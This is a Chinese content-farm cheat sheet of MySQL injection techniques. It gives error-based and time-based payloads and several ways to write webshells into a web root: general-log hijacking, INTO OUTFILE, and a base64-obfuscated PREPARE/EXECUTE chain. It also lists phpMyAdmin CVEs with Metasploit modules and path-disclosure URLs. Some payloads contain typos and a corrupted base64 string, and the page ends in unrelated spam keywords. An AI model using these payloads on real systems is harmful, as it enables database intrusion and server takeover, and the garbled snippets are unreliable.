千家信息网

SQL注入语法有哪些

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,这篇文章主要介绍了SQL注入语法有哪些,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。仅供参考学习使用。SQL注入语法报错注入updat
千家信息网最后更新 2026年10月31日SQL注入语法有哪些

这篇文章主要介绍了SQL注入语法有哪些,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

仅供参考学习使用。

SQL注入语法

报错注入

updatexml(1,concat(0x7e,(select database()),0x7e),1)--+extractvalue(1,concat(0x7e,(select database()),0x7e),1)--+select count(*) from information_schema.tabeles group by concat((select database(),floor(rand(0)*2)select substr(version(),1,1)='X'select substring(version(),1,1)='X'

列名重复报错

select * from (select name_const(version(),1))a;select * from (select name_const((version()),1),name_const((select database()),1))a;select * from (select * from users a join users b)c;

数据溢出报错

select (select(!x-~0) from (select(select user())x)a);select ~0+!(select * from (select user())x);

几何函数报错

multipoint((select * from(select * from(select user())a)b));

case when 语句

select * from datadatabase() case id when 1 else 2 end

时间注入

if right((select database()),a,b)>'s' sleep(5)if assic(substr((select database()),a,b))=98 sleep(5)if assic(substr((select database()) from a to b))=98 sleep(5)if ord(mid((select database()),a,b))=98 sleep(5)
通过日志写shell
利用条件

已知物理路径,目录可写,root权限。

查看配置

show variables like '%general';

开启general log模式

set global general_log=on;

设置日志写shell地址*

set global general_log_file="/var/www/html/log.php";

写入shell

select "";

通过into outfile写shell

利用条件

已知物理路径,目录可写

select '' into outfile '/var/www/html/1.php'

通过导出表写入shell

use mysql;create table shell(shell1 text not null);insert into shell(cmd1) values('');select cmd1 from a into outfile '/var/www/html/1.php';

mysql from_base64函数利用

利用base64编码来加密,然后使用自定义变量接到,在使用prepare和EXECUTE来执行语句,完成日志写shell的操作。

set

set 用户定义一个变量,变量里面是sql可以执行的语句。

prepare

prepare name from value;

prepare 语句用于预备一个语句,并指定名称name,然后引用改语句。

execute

execute 语句用于执行预备的语句。

联合起来利用

set @sql1 = (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZz1vbg=='));/*set global general_log=on*/PREPARE name from @sql;EXECUTE name;set @sql2= (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZ19maWxlPSJDOlxcTVlPQVxcd2Vicm$9$vdFxcbG9naW4ucGhwIg=='));/*set global general_log_file="C:\\MYOA\\webroot\\login.php"*/PREPARE name from sql2;EXECUTE name;select "";set @sql3 := (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZyA9IG9mZg=='));/*set global general_log = off*/PREPARE name from @sql3;EXECUTE name;

phpmyadmin 漏洞合集

phpmyadmin存在pregreplaceeval漏洞

影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 CVE-2013-3238

phpmyadmin存在serversync.php后门漏洞

影响版本 phpmyadmin v3.5.2.2

msf利用模块 : exploit/multi/http/phpmyadmin3522_backdoor CVE-2012-5159

phpmyadmin 配置文件/config/config.inc.php存在命令执行漏洞

影响版本: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

msf利用模块:exploit/unix/webapp/phpmyadmin_config CVE-2009-1151

登录处漏洞

利用方法:用户名处写入'localhost'@'@"

影响版本:2.113/2.114

php爆绝对路径

phpMyAdmin/libraries/selectlang.lib.php

phpMyAdmin/darkblueorange/layout.inc.php

phpMyAdmin/index.php?lang[]=1

phpmyadmin/themes/darkblue_orange/layout.inc.php

感谢你能够认真阅读完这篇文章,希望小编分享的"SQL注入语法有哪些"这篇文章对大家有帮助,同时也希望大家多多支持,关注行业资讯频道,更多相关知识等着你来学习!

语句 漏洞 版本 篇文章 影响 语法 变量 日志 路径 函数 条件 模块 物理 用户 目录 学习 配置 预备 仅供参考 价值 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 广东万易互联网科技有限公司惠州分公司 科技创新与互联网经济 互联网科技有限公司经营范围 鸠鸠互联网科技 美国互联网科技巨头监管 上海互联网科技有限公司 互联网科技股票 互联网科技公司招聘 重庆威客帮互联网科技 互联网5g黑科技有哪些 注册互联网科技公司经营范围大全 亳州好赞互联网科技有限公司 阿里互联网科技企业 上海科技产业互联网平台 伍佰万互联网科技怎么赚钱 深圳互联网科技的发展 北京市互联网新科技 梅州GM互联网络科技有限公司 唯美互联网科技 上海万顺科技互联网有限公司招聘 工业互联网科技新基建 小马过河互联网科技 互联网科技英文翻译 丰台科技园 互联网公司 宁夏科技产业互联网案例 苏州五指互联网络科技有限 长沙互联网科技 互联网金融运营模式中的金融科技 云南互联网科技学费 易租星互联网科技有限公司
0